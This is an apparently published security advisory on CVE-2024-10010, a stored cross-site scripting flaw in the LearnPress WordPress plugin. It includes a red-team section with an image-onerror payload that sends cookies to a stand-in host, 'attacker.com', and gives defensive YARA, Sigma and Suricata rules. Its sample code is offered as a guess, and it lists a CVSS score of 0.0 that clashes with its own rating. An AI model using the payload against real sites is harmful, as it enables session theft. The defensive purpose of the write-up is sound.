CVE-2024-10010

Executive Summary

CVE-2024-10010 is a Stored Cross-Site Scripting (XSS) vulnerability in the LearnPress WordPress plugin, affecting versions before 4.2.7.2. The vulnerability allows high-privilege users, such as administrators, to inject arbitrary web scripts into plugin settings, which are then stored and executed when other users view the affected pages. This is particularly dangerous in multisite WordPress installations where the unfiltered_html capability is typically disallowed, as it bypasses standard security restrictions. The vulnerability arises from insufficient sanitization and escaping of settings inputs.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The LearnPress plugin is distributed via the official WordPress plugin repository. Users are advised to update the plugin directly from their WordPress admin dashboard or by downloading the latest version from the repository. No package manager (NPM, PyPI, Go, Ruby) is involved.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD base score not provided; calculated based on vector)
• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Admin)
• User Interaction: Required (Victim must view the settings page)
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None
• Threat Level: Medium (due to high privileges required, but potential for widespread impact in multisite environments)

Deep Dive & Mechanics

The LearnPress plugin stores various settings in the WordPress database. The vulnerability exists because the plugin fails to properly sanitize and escape user-supplied input before storing it in these settings. When an administrator saves a setting containing malicious JavaScript, the script is stored and later rendered without proper escaping on the settings page. This allows the attacker to execute arbitrary JavaScript in the context of the victim's browser.

The attack flow:

1. An attacker with admin privileges navigates to the LearnPress settings page.
2. The attacker injects a malicious payload (e.g., <script>alert('XSS')</script>) into a vulnerable setting field.
3. The plugin stores the payload without sanitization.
4. When another admin (or any user with access to the settings page) views the page, the payload executes.

In a multisite setup, the unfiltered_html capability is typically disabled for non-super admins. However, this vulnerability bypasses that restriction because the input is not filtered at all.

Vulnerable vs. Patched Code

Vulnerable Code (before 4.2.7.2): The plugin likely uses update_option or similar functions without sanitization. For example:

update_option( 'learnpress_settings', $_POST['learnpress_settings'] );

Patched Code (4.2.7.2 and later): The fix involves sanitizing and escaping the input before storage. For example:

$settings = array_map( 'sanitize_text_field', $_POST['learnpress_settings'] );
update_option( 'learnpress_settings', $settings );

Additionally, output escaping functions like esc_html() or esc_attr() should be used when rendering the settings.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Admin access to a WordPress site with LearnPress plugin version < 4.2.7.2.
• A browser with developer tools.

Steps:

1. Log in as an administrator.
2. Navigate to LearnPress settings (e.g., /wp-admin/admin.php?page=learnpress-settings).
3. Identify a vulnerable setting field (e.g., a text input for a custom label).
4. Inject a payload such as:

   <script>alert('XSS')</script>
   

5. Save the settings.
6. When another admin visits the same page, the script executes.

Advanced Payload:

<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">

Blue Team

Detection:

• Monitor for unusual changes to LearnPress settings in the database.
• Look for patterns of script tags in option values.
• Use WAF rules to block common XSS payloads in POST requests to /wp-admin/admin.php.

Hunting:

• Query the database for suspicious entries:

  SELECT * FROM wp_options WHERE option_name LIKE '%learnpress%' AND option_value LIKE '%<script%';
  

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/learnpress/ (version < 4.2.7.2)
• Database: wp_options table entries containing learnpress with embedded <script> tags.
• Network: Outbound connections to attacker-controlled domains from the WordPress admin panel.
• Logs: Access logs showing POST requests to /wp-admin/admin.php with page=learnpress-settings and suspicious payloads.

Detection Engineering

YARA Rule

rule CVE_2024_10010_LearnPress_XSS {
    meta:
        description = "Detects stored XSS payloads in LearnPress plugin settings"
        author = "Valters IT"
        date = "2024-10-10"
        reference = "CVE-2024-10010"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $img_payload = /<img[^>]*onerror[^>]*>/i
    condition:
        $xss_payload or $img_payload
}

Sigma Rule

title: LearnPress Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS in LearnPress plugin settings
author: Valters IT
date: 2024/10/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: 'admin.php?page=learnpress-settings'
        cs-request-body|contains: 
            - '<script'
            - 'onerror'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in settings (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-10010 LearnPress Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"admin.php?page=learnpress-settings"; http_uri; content:"<script"; http_client_body; nocase; sid:1000010; rev:1;)

Remediation & Mitigation

Immediate:

• Update the LearnPress plugin to version 4.2.7.2 or later.
• If immediate update is not possible, restrict admin access to trusted users only.

Long-term:

• Implement a Web Application Firewall (WAF) to block XSS payloads.
• Regularly audit plugin settings for suspicious content.
• Enforce the principle of least privilege for WordPress admin roles.

Workaround:

• Disable the LearnPress plugin until it can be updated.

Valters IT